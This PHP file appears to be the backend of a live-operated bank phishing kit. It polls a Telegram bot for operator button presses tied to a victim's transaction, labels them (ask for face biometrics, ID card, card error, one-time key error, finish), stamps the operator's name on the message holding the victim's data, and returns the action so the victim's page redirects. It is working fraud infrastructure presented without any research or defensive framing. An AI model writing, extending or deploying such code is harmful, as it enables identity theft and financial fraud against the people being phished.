<?php
session_start();
header('Content-Type: application/json');

$config        = require __DIR__ . '/../../config.php';
$transactionId = $_POST['transactionId'] ?? '';
$messageId     = $_POST['messageId'] ?? ''; 

if (empty($transactionId) || empty($messageId)) {
    echo json_encode(['action' => null]);
    exit;
}

// Usar offset para evitar respuestas viejas
$offset = isset($_SESSION['last_update_id']) ? (int)$_SESSION['last_update_id'] : 0;

$ch = curl_init("https://api.telegram.org/bot{$config['bot_token']}/getUpdates?offset=" . ($offset + 1));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$data   = json_decode($response, true);
$action = null;

if (isset($data['result']) && is_array($data['result'])) {
    foreach ($data['result'] as $update) {
        if (!isset($update['callback_query'])) {
            continue;
        }

        $callback = $update['callback_query'];

        // Verificar que el callback pertenezca a esta transacción específica
        if (!isset($callback['data']) || strpos($callback['data'], $transactionId) === false) {
            continue;
        }

        list($actionType, ) = explode(':', $callback['data'], 2);

        // === LISTA DE ACCIONES ACTUALIZADA PARA BIOMETRÍA ===
        $accionesPermitidas = [
            'error',            // Cara (Biometría Facial)
            'cedula',           // Cédula (Documento)
            'error_logo', 
            'error_tarjeta', 
            'pedir_dinamica', 
            'confirm_finalizar'
        ];

        if (!in_array($actionType, $accionesPermitidas, true)) {
            continue;
        }

        $action = $actionType;

        // Guardar el último update_id para evitar relectura
        $_SESSION['last_update_id'] = (int)$update['update_id'];

        // Nombre del operador para el registro en el mensaje
        $operatorName = 'Operador';
        if (isset($callback['from'])) {
            $firstName = $callback['from']['first_name'] ?? '';
            $username  = $callback['from']['username'] ?? '';
            $operatorName = !empty($firstName) ? $firstName : (!empty($username) ? "@$username" : 'Operador');
        }

        // === DICCIONARIO DE TEXTOS PARA TELEGRAM ===
        $textos = [
            'error'             => '📸 Pidió CARA (Biometría)',
            'cedula'            => '🪪 Pidió CÉDULA',
            'error_logo'        => '❌ Error de Logo',
            'error_tarjeta'     => '💳 Error de Tarjeta',
            'pedir_dinamica'    => '🔑 Error de Dinámica',
            'confirm_finalizar' => '🏁 Finalizar Proceso'
        ];

        $accionTexto = $textos[$actionType] ?? $actionType;

        // Texto original del mensaje (para no perder los datos del usuario)
        $originalText = $callback['message']['text'] ?? '';

        // Nuevo texto con el sello del operador
        $newText = $originalText
            . "\n\n------------------------------"
            . "\n✅ <b>Acción:</b> "  . $accionTexto
            . "\n👤 <b>Operador:</b> " . htmlspecialchars($operatorName, ENT_QUOTES, 'UTF-8');

        // Editar el mensaje en Telegram: Agrega el texto y quita los botones
        $payload = [
            'chat_id'      => $callback['message']['chat']['id'],
            'message_id'   => $callback['message']['message_id'],
            'text'         => $newText,
            'parse_mode'   => 'HTML',
            'reply_markup' => json_encode(['inline_keyboard' => []])
        ];

        $chEdit = curl_init("https://api.telegram.org/bot{$config['bot_token']}/editMessageText");
        curl_setopt($chEdit, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($chEdit, CURLOPT_POST, true);
        curl_setopt($chEdit, CURLOPT_POSTFIELDS, json_encode($payload));
        curl_setopt($chEdit, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
        curl_exec($chEdit);
        curl_close($chEdit);

        break;
    }
}

// Devuelve la acción al Front-end para que haga la redirección (window.location.href)
echo json_encode(['action' => $action]);